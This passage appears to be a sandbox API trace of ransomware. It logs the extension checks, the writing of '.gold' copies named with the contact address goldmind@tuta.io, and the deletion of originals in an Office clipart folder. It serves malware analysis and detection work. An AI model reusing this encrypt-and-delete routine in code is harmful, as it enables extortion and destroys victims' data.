(lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0104.605] lstrlenW (lpString=".1cd") returned 4 [0104.605] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0104.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0104.606] lstrlenW (lpString=".jpg") returned 4 [0104.606] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0104.606] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0104.606] lstrlenW (lpString="J0105240.WMF") returned 12 [0104.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0104.606] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=11532) returned 1 [0104.606] CloseHandle (hObject=0x3a8) returned 1 [0104.606] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf")) returned 0x20 [0104.606] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0104.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0104.607] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.607] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0104.607] GetLastError () returned 0x0 [0104.607] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x2d0c, lpOverlapped=0x0) returned 1 [0104.609] WriteFile (in: hFile=0x3c8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x2d10, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x2d10, lpOverlapped=0x0) returned 1 [0104.610] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0104.610] WriteFile (in: hFile=0x3c8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0104.610] SetEndOfFile (hFile=0x3c8) returned 1 [0104.610] CloseHandle (hObject=0x3c8) returned 1 [0104.610] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.610] SetEndOfFile (hFile=0x3a8) returned 1 [0104.612] CloseHandle (hObject=0x3a8) returned 1 [0104.612] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0104.612] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf")) returned 1 [0104.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0104.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0104.612] lstrlenW (lpString=".doc") returned 4 [0104.612] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0104.612] lstrlenW (lpString=".docx") returned 5 [0104.612] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0104.612] lstrlenW (lpString=".pdf") returned 4 [0104.612] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0104.613] lstrlenW (lpString=".xls") returned 4 [0104.613] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0104.613] lstrlenW (lpString=".xlsx") returned 5 [0104.613] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0104.613] lstrlenW (lpString=".ppt") returned 4 [0104.613] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0104.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0104.613] lstrlenW (lpString=".zip") returned 4 [0104.613] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0104.613] lstrlenW (lpString=".rar") returned 4 [0104.613] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0104.613] lstrlenW (lpString=".bz2") returned 4 [0104.613] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0104.613] lstrlenW (lpString=".7z") returned 3 [0104.613] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0104.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0104.613] lstrlenW (lpString=".dbf") returned 4 [0104.613] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0104.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0104.613] lstrlenW (lpString=".1cd") returned 4 [0104.613] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0104.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0104.613] lstrlenW (lpString=".jpg") returned 4 [0104.613] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0104.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0104.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0104.613] lstrlenW (lpString=".doc") returned 4 [0104.613] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0104.613] lstrlenW (lpString=".docx") returned 5 [0104.613] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0104.613] lstrlenW (lpString=".pdf") returned 4 [0104.613] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0104.613] lstrlenW (lpString=".xls") returned 4 [0104.613] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0104.613] lstrlenW (lpString=".xlsx") returned 5 [0104.613] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0104.613] lstrlenW (lpString=".ppt") returned 4 [0104.613] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0104.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0104.613] lstrlenW (lpString=".zip") returned 4 [0104.613] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0104.613] lstrlenW (lpString=".rar") returned 4 [0104.613] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0104.613] lstrlenW (lpString=".bz2") returned 4 [0104.613] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0104.613] lstrlenW (lpString=".7z") returned 3 [0104.613] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0104.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0104.613] lstrlenW (lpString=".dbf") returned 4 [0104.613] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0104.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0104.613] lstrlenW (lpString=".1cd") returned 4 [0104.613] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0104.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0104.614] lstrlenW (lpString=".jpg") returned 4 [0104.614] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0104.614] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0104.614] lstrlenW (lpString="J0105244.WMF") returned 12 [0104.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0104.614] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=11228) returned 1 [0104.614] CloseHandle (hObject=0x3a8) returned 1 [0104.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf")) returned 0x20 [0104.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0104.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0104.615] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.615] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0104.615] GetLastError () returned 0x0 [0104.615] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x2bdc, lpOverlapped=0x0) returned 1 [0104.959] WriteFile (in: hFile=0x3c8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x2be0, lpOverlapped=0x0) returned 1 [0104.960] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0104.960] WriteFile (in: hFile=0x3c8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0104.960] SetEndOfFile (hFile=0x3c8) returned 1 [0104.960] CloseHandle (hObject=0x3c8) returned 1 [0104.960] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.961] SetEndOfFile (hFile=0x3a8) returned 1 [0104.962] CloseHandle (hObject=0x3a8) returned 1 [0104.962] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0104.963] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf")) returned 1 [0104.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0104.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0104.963] lstrlenW (lpString=".doc") returned 4 [0104.963] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0104.963] lstrlenW (lpString=".docx") returned 5 [0104.963] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0104.963] lstrlenW (lpString=".pdf") returned 4 [0104.963] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0104.963] lstrlenW (lpString=".xls") returned 4 [0104.963] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0104.963] lstrlenW (lpString=".xlsx") returned 5 [0104.963] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0104.963] lstrlenW (lpString=".ppt") returned 4 [0104.963] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0104.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0104.964] lstrlenW (lpString=".zip") returned 4 [0104.964] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0104.964] lstrlenW (lpString=".rar") returned 4 [0104.964] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0104.964] lstrlenW (lpString=".bz2") returned 4 [0104.964] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0104.964] lstrlenW (lpString=".7z") returned 3 [0104.964] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0104.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0104.964] lstrlenW (lpString=".dbf") returned 4 [0104.964] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0104.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0104.964] lstrlenW (lpString=".1cd") returned 4 [0104.964] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0104.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0104.964] lstrlenW (lpString=".jpg") returned 4 [0104.964] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0104.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0104.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0104.964] lstrlenW (lpString=".doc") returned 4 [0104.964] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0104.964] lstrlenW (lpString=".docx") returned 5 [0104.964] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0104.964] lstrlenW (lpString=".pdf") returned 4 [0104.964] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0104.964] lstrlenW (lpString=".xls") returned 4 [0104.964] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0104.964] lstrlenW (lpString=".xlsx") returned 5 [0104.964] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0104.964] lstrlenW (lpString=".ppt") returned 4 [0104.964] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0104.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0104.964] lstrlenW (lpString=".zip") returned 4 [0104.964] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0104.964] lstrlenW (lpString=".rar") returned 4 [0104.964] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0104.964] lstrlenW (lpString=".bz2") returned 4 [0104.964] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0104.964] lstrlenW (lpString=".7z") returned 3 [0104.964] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0104.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0104.964] lstrlenW (lpString=".dbf") returned 4 [0104.965] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0104.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0104.965] lstrlenW (lpString=".1cd") returned 4 [0104.965] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0104.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0104.965] lstrlenW (lpString=".jpg") returned 4 [0104.965] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0104.965] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0104.965] lstrlenW (lpString="J0105292.WMF") returned 12 [0104.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0104.965] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=14868) returned 1 [0104.965] CloseHandle (hObject=0x3a8) returned 1 [0104.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf")) returned 0x20 [0104.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0104.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0104.966] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.966] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0104.967] GetLastError () returned 0x0 [0104.967] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x3a14, lpOverlapped=0x0) returned 1 [0104.968] WriteFile (in: hFile=0x3c8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x3a20, lpOverlapped=0x0) returned 1 [0104.969] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0104.969] WriteFile (in: hFile=0x3c8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0104.969] SetEndOfFile (hFile=0x3c8) returned 1 [0104.969] CloseHandle (hObject=0x3c8) returned 1 [0104.969] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.969] SetEndOfFile (hFile=0x3a8) returned 1 [0104.971] CloseHandle (hObject=0x3a8) returned 1 [0104.971] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0104.971] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf")) returned 1 [0104.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0104.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0104.972] lstrlenW (lpString=".doc") returned 4 [0104.972] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0104.972] lstrlenW (lpString=".docx") returned 5 [0104.972] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0104.972] lstrlenW (lpString=".pdf") returned 4 [0104.972] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0104.972] lstrlenW (lpString=".xls") returned 4 [0104.972] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0104.972] lstrlenW (lpString=".xlsx") returned 5 [0104.972] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0104.972] lstrlenW (lpString=".ppt") returned 4 [0104.972] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0104.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0104.972] lstrlenW (lpString=".zip") returned 4 [0104.972] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0104.972] lstrlenW (lpString=".rar") returned 4 [0104.972] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0104.972] lstrlenW (lpString=".bz2") returned 4 [0104.972] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0104.972] lstrlenW (lpString=".7z") returned 3 [0104.972] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0104.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0104.972] lstrlenW (lpString=".dbf") returned 4 [0104.972] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0104.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0104.972] lstrlenW (lpString=".1cd") returned 4 [0104.972] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0104.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0104.972] lstrlenW (lpString=".jpg") returned 4 [0104.972] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0104.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0104.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0104.972] lstrlenW (lpString=".doc") returned 4 [0104.972] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0104.972] lstrlenW (lpString=".docx") returned 5 [0104.972] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0104.972] lstrlenW (lpString=".pdf") returned 4 [0104.972] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0104.972] lstrlenW (lpString=".xls") returned 4 [0104.972] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0104.972] lstrlenW (lpString=".xlsx") returned 5 [0104.972] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0104.972] lstrlenW (lpString=".ppt") returned 4 [0104.973] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0104.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0104.973] lstrlenW (lpString=".zip") returned 4 [0104.973] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0104.973] lstrlenW (lpString=".rar") returned 4 [0104.973] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0104.973] lstrlenW (lpString=".bz2") returned 4 [0104.973] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0104.973] lstrlenW (lpString=".7z") returned 3 [0104.973] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0104.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0104.973] lstrlenW (lpString=".dbf") returned 4 [0104.973] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0104.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0104.973] lstrlenW (lpString=".1cd") returned 4 [0104.973] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0104.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0104.973] lstrlenW (lpString=".jpg") returned 4 [0104.973] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0104.973] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0104.973] lstrlenW (lpString="J0105294.WMF") returned 12 [0104.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: 